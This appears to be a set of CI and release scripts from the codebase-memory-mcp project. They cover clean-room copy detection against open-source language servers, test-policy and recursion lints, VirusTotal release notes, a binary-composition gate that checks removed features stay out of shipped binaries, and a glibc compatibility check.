"kotlin|https://github.com/fwcd/kotlin-language-server|server/src"
"rust|https://github.com/rust-lang/rust-analyzer|crates"
# PHP was implemented from specs (PHP language ref + PSR-4), with no upstream
# LSP. We scan against phpactor (MIT) — the leading OSS PHP language server —
# purely for defensive copy-detection. NOT Intelephense (proprietary).
"php|https://github.com/phpactor/phpactor|lib"
# Perl (PR #461) was authored clean-room. We scan against PerlNavigator (MIT)
# — the leading OSS Perl language server — for defensive copy-detection.
"perl|https://github.com/bscan/PerlNavigator|server/src"
)
ONLY_LANG=""; REFRESH=0; LIST_ONLY=0
while [ $# -gt 0 ]; do
case "$1" in
--lang) ONLY_LANG="${2:-}"; shift 2 ;;
--refresh) REFRESH=1; shift ;;
--list-candidates) LIST_ONLY=1; shift ;;
--help|-h) sed -n '2,40p' "$0"; exit 0 ;;
*) echo "$TAG unknown arg: $1" >&2; exit 2 ;;
esac
done
if ! command -v rg >/dev/null 2>&1; then
echo "$TAG ERROR: ripgrep (rg) is required." >&2; exit 2
fi
# --- 1. Extract distinctive local tokens from our LSP C sources ---------------
# Skip generated/ (machine-emitted stdlib tables, not hand-authored logic).
# bash 3.2 (macOS default) has no `mapfile` — build the array with a read loop.
LSP_SRC=()
while IFS= read -r f; do LSP_SRC+=("$f"); done < <(
find "$LSP_DIR" -type f \( -name '*.c' -o -name '*.h' \) -not -path '*/generated/*' | sort)
if [ "${#LSP_SRC[@]}" -eq 0 ]; then
echo "$TAG ERROR: no LSP sources under $LSP_DIR" >&2; exit 2
fi
CAND="$(mktemp)"; trap 'rm -f "$CAND" "$CAND.s" "$CAND.c" 2>/dev/null' EXIT
# String literals of interest: >= MIN_STR chars, contain a letter and a space
# (favours human-readable phrases / messages over format specifiers & symbols).
rg --no-filename -o "\"[^\"]{${MIN_STR},}\"" "${LSP_SRC[@]}" 2>/dev/null \
| sed -E 's/^"//; s/"$//' \
| rg '[A-Za-z].* ' \
| rg -v '^(%|https?://|[0-9. ]+$)' \
| sort -u > "$CAND.s"
# Comment phrases: // line comments and single-line /* ... */, >= MIN_COMMENT.
{ rg --no-filename -o '//[^\n]+' "${LSP_SRC[@]}" 2>/dev/null | sed -E 's#^//+##'
rg --no-filename -o '/\*.*\*/' "${LSP_SRC[@]}" 2>/dev/null | sed -E 's#^/\*+##; s#\*+/$##'
} | sed -E 's/^[[:space:]*]+//; s/[[:space:]]+$//' \
| awk -v n="$MIN_COMMENT" 'length($0) >= n' \
| rg -v -i '^(todo|fixme|note|hack|xxx|copyright|spdx|clang-format|nolint|fallthrough)\b' \
| sort -u > "$CAND.c"
# Keep only "meaningful" tokens: at least two real words (drops decorative
# dividers like ===== / ----- / box-drawing rules that collide with banners).
cat "$CAND.s" "$CAND.c" | grep -v '^[[:space:]]*$' \
| rg -P '[A-Za-z]{3,}[^A-Za-z]+[A-Za-z]{2,}' \
| sort -u > "$CAND"
n_str=$(wc -l < "$CAND.s" | tr -d ' '); n_com=$(wc -l < "$CAND.c" | tr -d ' ')
echo "$TAG extracted $(wc -l < "$CAND" | tr -d ' ') candidate tokens from ${#LSP_SRC[@]} LSP sources ($n_str strings, $n_com comments)"
if [ "$LIST_ONLY" -eq 1 ]; then
echo "$TAG --- candidate tokens (no fetch performed) ---"
cat "$CAND"
exit 0
fi
if [ ! -s "$CAND" ]; then
echo "$TAG no candidate tokens — nothing to compare."; exit 0
fi
# --- 2. Fetch reference sources (shallow + sparse) ----------------------------
fetch_ref() {
local lang="$1" url="$2" subpath="$3" dst="$REFS_DIR/$lang"
if [ -d "$dst/.git" ] && [ "$REFRESH" -eq 0 ]; then return 0; fi
rm -rf "$dst"; mkdir -p "$dst"
echo "$TAG fetching $lang ($url :: $subpath) ..."
if ! git clone --depth 1 --filter=blob:none --sparse "$url" "$dst" >/dev/null 2>&1; then
echo "$TAG WARN: clone failed for $lang — skipping"; rm -rf "$dst"; return 1
fi
( cd "$dst" && git sparse-checkout set ${subpath//,/ } >/dev/null 2>&1 ) || true
}
# --- 3. Search candidates in each reference -----------------------------------
# Restrict to source code — license texts, changelogs and docs are not "copying".
REF_GLOBS=(-g '!**/LICENSE*' -g '!**/COPYING*' -g '!**/NOTICE*' -g '!**/CHANGELOG*'
-g '!**/*.md' -g '!**/*.txt' -g '!**/*.json' -g '!**/*.yml' -g '!**/*.yaml')
total_hits=0
for entry in "${REFS[@]}"; do
IFS='|' read -r lang url subpath <<< "$entry"
[ -n "$ONLY_LANG" ] && [ "$ONLY_LANG" != "$lang" ] && continue
fetch_ref "$lang" "$url" "$subpath" || continue
dst="$REFS_DIR/$lang"
[ -d "$dst" ] || continue
# Fixed-string search of every candidate across this reference tree.
hits=$(rg -F -l "${REF_GLOBS[@]}" -f "$CAND" "$dst" 2>/dev/null | wc -l | tr -d ' ')
if [ "${hits:-0}" -gt 0 ]; then
echo ""
echo "$TAG ⚠ overlap with reference '$lang' ($url):"
# Show which candidate matched where (cap output).
rg -F -n "${REF_GLOBS[@]}" -f "$CAND" "$dst" 2>/dev/null | head -40
total_hits=$((total_hits + hits))
else
echo "$TAG ok — no verbatim overlap with '$lang'"
fi
done
# --- 4. Structural-clone pass (clangd C++ <-> our C; the only same-ish language)
# String search misses ports that kept the code structure but rewrote identifiers
# and strings. jscpd is a token clone detector; it tokenizes per format, so we
# stage both trees as .cpp (C tokenizes fine as C++) and report only clone pairs
# that SPAN the two trees.
structural_hits=0
if [ -z "$ONLY_LANG" ] || [ "$ONLY_LANG" = "c" ]; then
JSCPD=""
if command -v jscpd >/dev/null 2>&1; then JSCPD="jscpd"
elif command -v npx >/dev/null 2>&1; then JSCPD="npx --yes jscpd"; fi
cdir="$REFS_DIR/c"
if [ -z "$JSCPD" ]; then
echo "$TAG structural pass skipped — install jscpd (npm i -g jscpd) or node/npx to enable"
elif [ ! -d "$cdir" ]; then
echo "$TAG structural pass skipped — clangd ref not fetched (run without --lang, or --lang c)"
else
stage="$(mktemp -d)"; jout="$(mktemp -d)"
for f in "${LSP_SRC[@]}"; do
cp "$f" "$stage/ours__$(echo "${f#$LSP_DIR/}" | tr '/' '_').cpp"
done
while IFS= read -r f; do
cp "$f" "$stage/clangd__$(echo "${f#$cdir/}" | tr '/' '_').cpp" 2>/dev/null
done < <(find "$cdir" -type f \( -name '*.cpp' -o -name '*.cc' -o -name '*.cxx' \
-o -name '*.h' -o -name '*.hpp' \))
echo "$TAG structural pass (jscpd, >= ${MIN_TOKENS} tokens, clangd C++ <-> our C) ..."
$JSCPD --silent --reporters json --output "$jout" --min-tokens "$MIN_TOKENS" "$stage" >/dev/null 2>&1 || true
pairs=""
if [ -f "$jout/jscpd-report.json" ]; then
pairs=$(jq -r '.duplicates[]?
| select((.firstFile.name|contains("ours__")) != (.secondFile.name|contains("ours__")))
| " \(.firstFile.name|gsub(".*/";"")) <-> \(.secondFile.name|gsub(".*/";"")) [\(.lines) lines]"' \
"$jout/jscpd-report.json" 2>/dev/null | sort -u)
fi
if [ -n "$pairs" ]; then
echo "$TAG ⚠ structural clones spanning our C and clangd:"; echo "$pairs" | head -20
structural_hits=1
else
echo "$TAG ok — no structural clones (>= ${MIN_TOKENS} tokens) between our C and clangd"
fi
rm -rf "$stage" "$jout"
fi
fi
echo ""
if [ "$total_hits" -gt 0 ] || [ "$structural_hits" -gt 0 ]; then
if [ "$total_hits" -gt 0 ]; then
echo "$TAG REVIEW NEEDED: $total_hits reference file(s) share a verbatim string/comment"
echo "$TAG with internal/cbm/lsp/. A hit is NOT proof of copying (common phrases collide)"
echo "$TAG — inspect each, confirm independent wording, reword genuinely-copied text."
fi
if [ "$structural_hits" -gt 0 ]; then
echo "$TAG REVIEW NEEDED: jscpd found structurally-cloned block(s) between our C and"
echo "$TAG clangd — inspect the pairs above and confirm independent implementation."
fi
echo "$TAG Re-run until clean before committing."
exit 1
fi
echo "$TAG CLEAN — no verbatim string/comment overlap with any reference, and no"
echo "$TAG structural clones (jscpd) between our C and clangd."
echo "$TAG (Reminder: this proves no verbatim/structural overlap, not provable"
echo "$TAG independence — the incremental git history is the complementary evidence.)"
exit 0
+45
View File
@@ -0,0 +1,45 @@
#!/usr/bin/env bash
# check-no-test-skips.sh — Enforce the no-skips test policy in the lint phase.
#
# Every test must PASS or FAIL. The ONLY tolerable skip is a genuinely
# platform-specific test that cannot run on the current OS (e.g. a Windows-only
# test on macOS); those must use the SKIP_PLATFORM() macro (or #ifdef
# compile-gating). A plain SKIP() — or any direct tf_skip_count manipulation —
# in a test source means a setup/environment/resource failure is being hidden
# instead of surfaced as a failure. That fails this check.
#
# Rationale: a test that cannot establish its preconditions has FAILED, not been
# "skipped". Convert such SKIP() to FAIL("reason").
#
# Usage: bash scripts/check-no-test-skips.sh (exit 0 = clean, 1 = violations)
set -uo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
violations=0
# 1. Plain SKIP( in test sources.
# - SKIP_PLATFORM( never matches "SKIP(" (the char after SKIP is '_').
# - The SKIP()/FAIL()/SKIP_PLATFORM() macro DEFINITIONS live in
# tests/test_framework.h (a .h), which the tests/*.c glob does not scan.
while IFS= read -r hit; do
echo "[no-skips] FORBIDDEN SKIP(): $hit"
violations=$((violations + 1))
done < <(grep -rnE '(^|[^A-Za-z0-9_])SKIP\(' "$ROOT"/tests/*.c 2>/dev/null || true)
# 2. Direct tf_skip_count increment in a test source (only the framework's
# SKIP_PLATFORM macro, defined in the .h, may touch it).
while IFS= read -r hit; do
echo "[no-skips] FORBIDDEN tf_skip_count manipulation: $hit"
violations=$((violations + 1))
done < <(grep -rnE 'tf_skip_count[[:space:]]*(\+\+|\+=|--)' "$ROOT"/tests/*.c 2>/dev/null || true)
if [ "$violations" -gt 0 ]; then
echo ""
echo "[no-skips] FAIL: $violations violation(s). Tests must pass or fail."
echo " setup / environment / resource failures -> FAIL(\"reason\")"
echo " genuinely platform-specific tests -> SKIP_PLATFORM(\"reason\") or #ifdef"
exit 1
fi
echo "[no-skips] OK — no forbidden skips in tests/*.c (SKIP_PLATFORM allowed for platform-only tests)"
exit 0
+31
View File
@@ -0,0 +1,31 @@
#!/usr/bin/env bash
# Verify NOLINT(misc-no-recursion) only appears on whitelisted functions.
WHITELIST="src/foundation/recursion_whitelist.h"
if [ ! -f "$WHITELIST" ]; then
echo "ERROR: $WHITELIST not found"; exit 1
fi
ALLOWED=$(grep -oE '"[a-zA-Z_][a-zA-Z0-9_]*"' "$WHITELIST" | tr -d '"' | sort -u)
HITS=$(grep -rn 'NOLINT(misc-no-recursion)' src/ internal/cbm/*.c internal/cbm/*.h 2>/dev/null \
| grep -v vendored | grep -v recursion_whitelist)
if [ -z "$HITS" ]; then exit 0; fi
FAIL=0
while IFS= read -r line; do
FILE=$(echo "$line" | cut -d: -f1)
LN=$(echo "$line" | cut -d: -f2)
# Check current line AND 5 lines above for the function name
CONTEXT=$(sed -n "$((LN > 5 ? LN - 5 : 1)),${LN}p" "$FILE")
FOUND=0
for fn in $ALLOWED; do
if echo "$CONTEXT" | grep -qw "$fn"; then
FOUND=1; break
fi
done
if [ "$FOUND" -eq 0 ]; then
echo "ERROR: NOLINT(misc-no-recursion) on non-whitelisted function:"
echo " $line"
FAIL=1
fi
done <<< "$HITS"
exit $FAIL
+18
View File
@@ -0,0 +1,18 @@
# scripts/ci/ — venue plumbing (single implementations)
Support scripts that keep the venues in the SAME shape. Each exists because
the logic used to live inline in workflow YAML or was hand-duplicated between
CI and the local infrastructure — both of which the venue-parity contract
(`tests/test_venue_parity_contract.sh`) now forbids. Everything here answers
`--help` (PowerShell: comment-based help, `Get-Help <script>`).
| script | job | called by |
|---|---|---|
| `new-protected-temp-root.ps1` | Create the owner-stamped, inheritance-protected per-user TEMP root the daemon/install suites require (shared `/tmp` and default runner TEMP grant Authenticated-Users mutation rights, which the trust policy correctly refuses — running there produces security refusals, not signal). `-ProtectDir` stamps build dirs the same way. | `_test.yml`, `_soak.yml`, `vm-run-tests.sh` |
| `clean-test-residue.ps1` | Sweep `cbm-*` residue from the Windows VM and assert runner-like free disk (default 14 GB — the GitHub runner's SSD). Long-path `\\?\` fallback for the guard suites' adversarial trees; every removal VERIFIED (an earlier version counted attempts and reported 86 swept while 11 GB remained). BLOCKS below the floor: a disk that fills mid-run reads as a product bug. | `win.sh` before every build/run |
| `preflight-docker.sh` | Same idea for Colima/docker: prune runner-unlike residue, assert free space on the filesystem backing the docker data root (not the VM's `/`). Build cache + named volumes KEPT (the local analogue of actions/cache); `--deep` drops them. | `test-infrastructure/run.sh` |
| `check-glibc-compat.sh` | Run a linux binary in debian:bullseye (glibc 2.31) — the portable binary must start on old glibc. | `_smoke.yml` portable legs |
| `generate-sbom.py` | The release SPDX SBOM (vendored versions reviewable here, diffable by vendoring PRs — was inline YAML). | `release.yml` |
| `require-all-green.sh` | The aggregate gate: fail unless every needed job succeeded or legitimately skipped (was inline YAML). | `pr.yml ci-ok` |
| `verify-shard-union.sh` | Prove sharded test legs lost nothing: shard count agreement, indices 1..n, identical suite lists, union of slices == full list (was inline YAML). | `_test.yml` shard-completeness |
| `check-virustotal.sh` | Release-asset VirusTotal lookups. | `release.yml` |
+29
View File
@@ -0,0 +1,29 @@
#!/usr/bin/env bash
# Append the Security Verification section to the release notes: per-binary
# sha256 + VirusTotal links. This step only runs after check-virustotal.sh
# passed, and that gate is ZERO tolerance — any detection blocks the release —
# so "0 detections" here is a verified statement, never an assumption.
# Expects: GH_TOKEN, VERSION; run from the verify job workspace (binaries/).
set -euo pipefail
TABLE="\n\n## Security Verification\n\n"
TABLE+="All release binaries scanned with 70+ antivirus engines — **0 detections**.\n\n"
TABLE+="| Binary | SHA-256 | VirusTotal |\n"
TABLE+="|--------|---------|------------|\n"
for bin in binaries/codebase-memory-mcp-*; do
[ -f "$bin" ] || continue
name=$(basename "$bin")
sha256=$(sha256sum "$bin" 2>/dev/null | awk '{print $1}' \
|| shasum -a 256 "$bin" | awk '{print $1}')
label=$(echo "$name" | sed 's/^codebase-memory-mcp-//' | sed 's/\.exe$//')
short="${sha256:0:20}..."
vt_url="https://www.virustotal.com/gui/file/${sha256}/detection"
TABLE+="| \`${label}\` | \`${short}\` | [0 detections ✅](${vt_url}) |\n"
done
CURRENT=$(gh release view "$VERSION" \
--json body --jq '.body // ""' --repo "$GITHUB_REPOSITORY")
printf '%s%b' "$CURRENT" "$TABLE" > /tmp/release_notes.md
gh release edit "$VERSION" \
--notes-file /tmp/release_notes.md --repo "$GITHUB_REPOSITORY"
+404
View File
@@ -0,0 +1,404 @@
#!/usr/bin/env bash
# check-binary-composition.sh — release gate: assert what must NOT be inside a
# shipped artifact.
#
# Microsoft Defender's ML classifier flagged the v0.9.1-rc.1 binaries. The
# hardening pass that followed *removed capability* — an executable stack, an
# in-process updater, test-only environment seams, the embedded HTTP/UI server
# and its process enumerator in the standard build. Each of those regresses
# invisibly: one restored #include, one Makefile source list edit, one revived
# call site, and nothing else in CI notices — the binary just quietly gets its
# malware-shaped surface back and the next release gets flagged again.
#
# This script is the proof that each removal stayed removed. It asserts only
# NEGATIVE properties (needle absent), plus one canary string we know ships,
# because an absence check aimed at the wrong file — a compressed artifact, a
# stub, a truncated download — would otherwise pass vacuously and read green.
# A missing tool is a hard error for the same reason: a skipped assertion must
# never look like a satisfied one.
#
# Usage: scripts/ci/check-binary-composition.sh [--variant=auto|standard|ui] <binary-or-dir>...
# Directories are scanned recursively; format (ELF / Mach-O / PE) is detected
# per file from its magic bytes and each assertion runs where it is
# meaningful. Exit 0 = every assertion passed, 1 = at least one failed,
# 2 = usage error, missing tool, or nothing checkable was found (a vacuous
# run is a failure, not a pass).
set -euo pipefail
case "${1:-}" in
-h | --help)
sed -n '2,25p' "$0" | sed 's/^# \{0,1\}//'
exit 0
;;
esac
# ── Needles ─────────────────────────────────────────────────────────
# Every needle below was grep-verified against the tree it comes from: it
# exists ONLY in the code the assertion is about, so a hit means that code is
# linked in, not that some unrelated string happens to look similar.
# S6: worker/Windows test seams read these env vars. A release binary that
# still honours them lets any process on the box steer the indexer's child
# processes and file placement — and CBM_TEST_* in a shipped binary is exactly
# the "debug/injection hooks" shape AV heuristics score on.
SEAM_NEEDLES=(
'CBM_TEST_WORKER_DESCENDANT_PID_FILE'
'CBM_TEST_WINDOWS_USER_PATH_RUN_ID'
)
# The in-process updater (download-and-replace-own-binary) is the single most
# malware-shaped behaviour we ever shipped; updates now run from install.sh
# out-of-process. These four needles cover both halves of what was removed:
# the download base URL, the checksum URL built on top of it, the GitHub API
# release query of the daemon's background version check, and that request's
# Accept header (which survives even if the URL is ever assembled at runtime).
UPDATER_NEEDLES=(
'releases/latest/download'
'api.github.com/repos'
'releases/latest'
'Accept: application/vnd.github+json'
)
# SQLite loadable extensions = arbitrary code execution through a database
# file. The amalgamation is built with SQLITE_OMIT_LOAD_EXTENSION; if that ever
# drops out, dlopen()/LoadLibrary() re-enters the store layer.
# NOTE: release binaries are stripped, so the two API symbol names only appear
# when the surface is *exported*. The dlopen error text is the needle that
# still works on a stripped build — it is compiled in only when the feature is.
SQLITE_LOADEXT_NEEDLES=(
'sqlite3_load_extension'
'sqlite3_enable_load_extension'
'unable to open shared library ['
)
# The standard artifact must not contain the UI's HTTP server at all: an
# unauthenticated localhost listener plus a process enumerator is precisely the
# behaviour pair a classifier reads as a backdoor. Needles are split across
# both UI translation units and are independent of each other, so a refactor of
# any single one cannot silently disarm the assertion:
# 'HTTP/1.1 %d %s' httpd.c response-status writer
# 'Request Header Fields Too Large' httpd.c status-text table
# '/api/ui-config', '/api/processes' http_server.c route dispatch
# 'ps -eo …' / '[c]odebase-memory-mcp' the popen() process enumerator's
# shell pipeline, both halves
# Verified unique to src/ui/ across src/, vendored/ and internal/ — the only
# other occurrences in the repo are tests/test_httpd.c and scripts/, neither of
# which is ever linked into a release binary.
UI_HTTP_NEEDLES=(
'HTTP/1.1 %d %s'
'Request Header Fields Too Large'
'/api/ui-config'
'/api/processes'
'ps -eo pid,pcpu,rss,etime,comm'
'[c]odebase-memory-mcp'
)
# Canary: proves the needle scan can actually see this file's strings. Without
# it, handing the gate a gzip, a stub or a 0-byte file would pass every
# absence assertion. 168+ occurrences in a real artifact, 0 in anything else.
CANARY_NEEDLE='codebase-memory-mcp'
# ── Args ────────────────────────────────────────────────────────────
VARIANT=auto
TARGETS=()
for arg in "$@"; do
case "$arg" in
--variant=*) VARIANT="${arg#--variant=}" ;;
-*)
echo "FAIL: unknown flag $arg (see --help)" >&2
exit 2
;;
*) TARGETS+=("$arg") ;;
esac
done
case "$VARIANT" in
auto | standard | ui) ;;
*)
echo "FAIL: --variant must be auto, standard or ui (got '$VARIANT')" >&2
exit 2
;;
esac
if [ "${#TARGETS[@]}" -eq 0 ]; then
echo "FAIL: no binaries or directories given (see --help)" >&2
exit 2
fi
# ── ELF program-header reader ───────────────────────────────────────
# Resolved lazily: a Windows/macOS-only run must not fail for want of readelf,
# but an ELF in scope with no reader available must fail loudly (exit 2) rather
# than skip the executable-stack assertion.
ELF_READER=''
ELF_READER_KIND=''
resolve_elf_reader() {
[ -n "$ELF_READER" ] && return 0
for cand in readelf llvm-readelf /opt/homebrew/opt/llvm/bin/llvm-readelf \
/usr/local/opt/llvm/bin/llvm-readelf; do
if command -v "$cand" >/dev/null 2>&1; then
ELF_READER="$cand"
ELF_READER_KIND=readelf
return 0
fi
done
for cand in objdump llvm-objdump /opt/homebrew/opt/llvm/bin/llvm-objdump; do
if command -v "$cand" >/dev/null 2>&1; then
ELF_READER="$cand"
ELF_READER_KIND=objdump
return 0
fi
done
return 1
}
# Echoes the GNU_STACK flag field ("RWE", "RW", "rwx", "rw-"), empty if the
# header is absent or unparseable.
gnu_stack_flags() {
case "$ELF_READER_KIND" in
readelf)
"$ELF_READER" -lW "$1" 2>/dev/null |
awk '/GNU_STACK/ { print $(NF - 1); exit }'
;;
objdump)
# objdump -p prints " STACK off ..." and the flags on the next line.
"$ELF_READER" -p "$1" 2>/dev/null |
awk '/STACK off/ { getline
for (i = 1; i <= NF; i++)
if ($i == "flags") { print $(i + 1); exit } }'
;;
esac
}
# ── Reporting ───────────────────────────────────────────────────────
# PASS and FAIL both go to stdout so the per-assertion sequence stays in order
# in a CI log (stderr would interleave nondeterministically); only the final
# verdict is echoed to stderr, which is what a failed step's tail shows.
pass_count=0
fail_count=0
FAILURES=()
report() { # verdict, assertion-id, file-token, message
printf '%-4s %-22s %s: %s\n' "$1" "$2" "$3" "$4"
if [ "$1" = FAIL ]; then
fail_count=$((fail_count + 1))
FAILURES+=("$2 $3: $4")
else
pass_count=$((pass_count + 1))
fi
}
assert_absent() { # file, token, assertion-id, needle
if LC_ALL=C grep -a -q -F -e "$4" "$1"; then
report FAIL "$3" "$2" "'$4' is PRESENT (must not ship)"
else
report PASS "$3" "$2" "'$4' absent"
fi
}
assert_present() { # file, token, assertion-id, needle, why-pass, why-fail
if LC_ALL=C grep -a -q -F -e "$4" "$1"; then
report PASS "$3" "$2" "'$4' present ($5)"
else
report FAIL "$3" "$2" "'$4' is MISSING — $6"
fi
}
# ── Per-file checks ─────────────────────────────────────────────────
detect_format() { # file → elf | macho | pe | other
magic=$(LC_ALL=C od -An -N4 -tx1 "$1" 2>/dev/null | tr -d ' \n')
case "$magic" in
7f454c46) echo elf ;;
cffaedfe | cefaedfe | feedface | feedfacf | cafebabe | bebafeca) echo macho ;;
4d5a*) echo pe ;;
*) echo other ;;
esac
}
checked_files=0
skipped_files=0
check_file() {
file="$1"
# Two path components: both variants ship a binary literally named
# "codebase-memory-mcp", so the parent directory is what tells them apart.
token=$(printf '%s' "$file" | awk -F/ '{ if (NF > 1) print $(NF - 1) "/" $NF; else print $NF }')
fmt=$(detect_format "$file")
if [ "$fmt" = other ]; then
printf 'skip %-22s %s: not an ELF/Mach-O/PE binary\n' '-' "$token"
skipped_files=$((skipped_files + 1))
return 0
fi
is_ui=0
case "$VARIANT" in
ui) is_ui=1 ;;
standard) is_ui=0 ;;
auto)
# The UI archive is codebase-memory-mcp-ui-<os>-<arch>, but the binary
# inside it is just "codebase-memory-mcp" — so the whole path decides,
# not the basename. Printed below so a misclassified path is visible in
# the log instead of silently disarming the UI assertion.
case "$file" in
*-ui | *-ui.* | *-ui-* | *-ui/*) is_ui=1 ;;
esac
;;
esac
variant_label=standard
[ "$is_ui" -eq 1 ] && variant_label='UI (A5-no-ui-http not applicable)'
printf '\n── %s [%s, %s] ──\n' "$token" "$fmt" "$variant_label"
checked_files=$((checked_files + 1))
# A0 — anti-vacuity canary; every assertion below is an absence check.
assert_present "$file" "$token" A0-canary "$CANARY_NEEDLE" \
'the needle scan can read this file' \
'this is not one of our artifacts, or its strings are unreadable (packed/compressed/truncated) — every absence assertion below would pass vacuously'
# A1 — executable stack (ELF only). Every Linux artifact of v0.9.1-rc.1
# shipped GNU_STACK RWE: a writable+executable stack, which no modern
# binary has and which any classifier weighs heavily.
if [ "$fmt" = elf ]; then
if ! resolve_elf_reader; then
echo "FAIL: no readelf/llvm-readelf/objdump available; cannot assert" \
"the non-executable stack for $token — refusing to skip it" >&2
exit 2
fi
flags=$(gnu_stack_flags "$file")
# readelf spells the flags "RWE"/"RW", objdump "rwx"/"rw-" — match both.
case "$flags" in
'')
report FAIL A1-noexec-stack "$token" \
"no GNU_STACK program header found ($ELF_READER) — without PT_GNU_STACK the loader may fall back to READ_IMPLIES_EXEC"
;;
*E* | *X* | *e* | *x*)
report FAIL A1-noexec-stack "$token" \
"GNU_STACK is $flags — the stack is EXECUTABLE (link with -z noexecstack; check .S/asm objects for a missing .note.GNU-stack)"
;;
*)
report PASS A1-noexec-stack "$token" "GNU_STACK is $flags (no execute bit)"
;;
esac
else
printf 'n/a %-22s %s: executable-stack check is ELF-only\n' A1-noexec-stack "$token"
fi
# A2 — test-only seams.
for needle in "${SEAM_NEEDLES[@]}"; do
assert_absent "$file" "$token" A2-no-test-seams "$needle"
done
# Sweep for seams nobody thought to pin: a new CBM_TEST_* env var added to
# production code lands here on its first release, not on the next audit.
# Two seams remain in release artifacts BY DECISION, so the wildcard is an
# allowlist rather than a blanket ban: scripts/smoke-test.sh runs against the
# real release artifact, and these are what let it do so honestly —
# CRASH_ON/HANG_ON inject the faults that prove supervisor recovery, and
# WINDOWS_USER_PATH_RUN_ID is what stops the PATH smoke from writing the
# tester's actual PATH. Deleting them would trade genuine release-artifact
# coverage for a cosmetic win. Anything NOT on this list is a novel seam and
# fails, which is the property that matters: the list can only shrink by
# decision, never grow by accident.
seam_allowed='CBM_TEST_CRASH_ON CBM_TEST_HANG_ON CBM_TEST_WINDOWS_USER_PATH_RUN_ID'
seam_unexpected=''
for found in $(LC_ALL=C grep -a -o -E 'CBM_TEST_[A-Za-z0-9_]+' "$file" 2>/dev/null |
sort -u || true); do
case " $seam_allowed " in
*" $found "*) ;;
*) seam_unexpected="$seam_unexpected $found" ;;
esac
done
if [ -n "$seam_unexpected" ]; then
report FAIL A2-no-test-seams "$token" \
"unexpected CBM_TEST_* seam(s):$seam_unexpected (allowlist: $seam_allowed)"
else
report PASS A2-no-test-seams "$token" 'no CBM_TEST_* seams beyond the smoke allowlist'
fi
# A3 — updater/release URLs.
for needle in "${UPDATER_NEEDLES[@]}"; do
assert_absent "$file" "$token" A3-no-updater-urls "$needle"
done
# A4 — SQLite loadable-extension surface.
for needle in "${SQLITE_LOADEXT_NEEDLES[@]}"; do
assert_absent "$file" "$token" A4-no-sqlite-loadext "$needle"
done
# Positive control for A4: the three needles above are all *absent* on a
# stripped build even when the feature is compiled in, so on its own that
# assertion can pass vacuously. SQLite's own compile-option table names
# every OMIT_* it was built with — when that table is present (it ships
# unless SQLITE_OMIT_COMPILEOPTION_DIAGS is set) it proves the omission
# positively rather than by absence.
if LC_ALL=C grep -a -q -F -e 'sqlite_compileoption_get' "$file"; then
assert_present "$file" "$token" A4-no-sqlite-loadext 'OMIT_LOAD_EXTENSION' \
'sqlite reports SQLITE_OMIT_LOAD_EXTENSION' \
'sqlite was NOT built with SQLITE_OMIT_LOAD_EXTENSION, so the dlopen()/LoadLibrary() extension loader is linked in'
else
printf 'n/a %-22s %s: %s\n' A4-no-sqlite-loadext "$token" \
"sqlite compile-option table absent; A4 rests on absence needles only"
fi
# A5 — UI/HTTP subsystem, standard artifacts only.
#
# NOT YET ENFORCED. src/ui/{config,http_server,layout3d,httpd,embedded_stub}.c
# are still in PROD_SRCS, and the standard build merely substitutes empty
# embedded assets — so the HTTP server and its popen("ps … | grep") process
# enumerator are linked into artifacts that can never serve a UI. Excluding
# them is a real refactor: four files outside src/ui (src/main.c,
# src/daemon/host.c, src/daemon/application.c, src/mcp/index_supervisor.c)
# reference UI symbols, including the daemon that serves the UI.
#
# Until that lands, this assertion reports rather than fails. A gate everyone
# knows is red teaches people to ignore gates, and a known-failing check has
# no more enforcement value than this note — but the needles are kept live and
# exercised so that the day the split lands, flipping CBM_CHECK_UI_ABSENT=1
# (then making it the default) is a one-line change and not a rewrite.
if [ "$is_ui" -eq 1 ]; then
printf 'n/a %-22s %s: UI artifact, HTTP server ships here by design\n' \
A5-no-ui-http "$token"
elif [ "${CBM_CHECK_UI_ABSENT:-0}" = "1" ]; then
for needle in "${UI_HTTP_NEEDLES[@]}"; do
assert_absent "$file" "$token" A5-no-ui-http "$needle"
done
else
ui_hits=0
for needle in "${UI_HTTP_NEEDLES[@]}"; do
if LC_ALL=C grep -a -q -F -e "$needle" "$file"; then
ui_hits=$((ui_hits + 1))
fi
done
printf 'INFO %-22s %s: %d/%d UI/HTTP needles present (no-UI split pending; set CBM_CHECK_UI_ABSENT=1 to enforce)\n' \
A5-no-ui-http "$token" "$ui_hits" "${#UI_HTTP_NEEDLES[@]}"
fi
}
# ── Walk the targets ────────────────────────────────────────────────
for target in "${TARGETS[@]}"; do
if [ -d "$target" ]; then
# "! -type d" rather than "-type f": a symlinked or otherwise unusual
# artifact must produce a visible skip line, never vanish from the run.
# sort keeps the report order stable across platforms (find order is not).
while IFS= read -r f; do
[ -n "$f" ] && check_file "$f"
done <<EOF
$(find "$target" ! -type d | LC_ALL=C sort)
EOF
elif [ -f "$target" ]; then
check_file "$target"
else
echo "FAIL: $target is neither a file nor a directory" >&2
exit 2
fi
done
printf '\n'
if [ "$checked_files" -eq 0 ]; then
echo "FAIL: no ELF/Mach-O/PE binary found in the given targets ($skipped_files file(s) skipped)" >&2
echo " a gate that checked nothing is not a green gate" >&2
exit 2
fi
if [ "$fail_count" -ne 0 ]; then
echo "BINARY COMPOSITION GATE FAILED: $fail_count assertion(s) over $checked_files binary/binaries" >&2
for f in "${FAILURES[@]}"; do
echo " - $f" >&2
done
exit 1
fi
echo "BINARY COMPOSITION OK: $pass_count assertion(s) passed over $checked_files binary/binaries"
+22
View File
@@ -0,0 +1,22 @@
#!/usr/bin/env bash
# Regression guard: the linux binary we ship must START on OLD glibc.
#
# The standard linux release binary dynamically links glibc 2.38+ / GLIBCXX
# 3.4.32 and fails to start on Debian 11, RHEL/Rocky 8, Ubuntu 20.04, Amazon
# Linux 2, etc. The fix points all linux install + self-update paths at the
# fully-static "-portable" asset. This runs a given linux binary inside an
# old-glibc container (debian:bullseye, glibc 2.31) and asserts it starts:
# - RED for the dynamic standard binary (GLIBC_2.38 not found)
# - GREEN for the static -portable binary (runs anywhere)
#
# Usage: check-glibc-compat.sh <path-to-linux-binary>
# Env: GLIBC_TEST_IMAGE (default: debian:bullseye-slim, glibc 2.31)
set -euo pipefail
BIN="${1:?usage: check-glibc-compat.sh <path-to-linux-binary>}"
IMAGE="${GLIBC_TEST_IMAGE:-debian:bullseye-slim}"
BIN_ABS="$(cd "$(dirname "$BIN")" && pwd)/$(basename "$BIN")"
echo "==> running $(basename "$BIN") --version inside ${IMAGE} (glibc 2.31)"
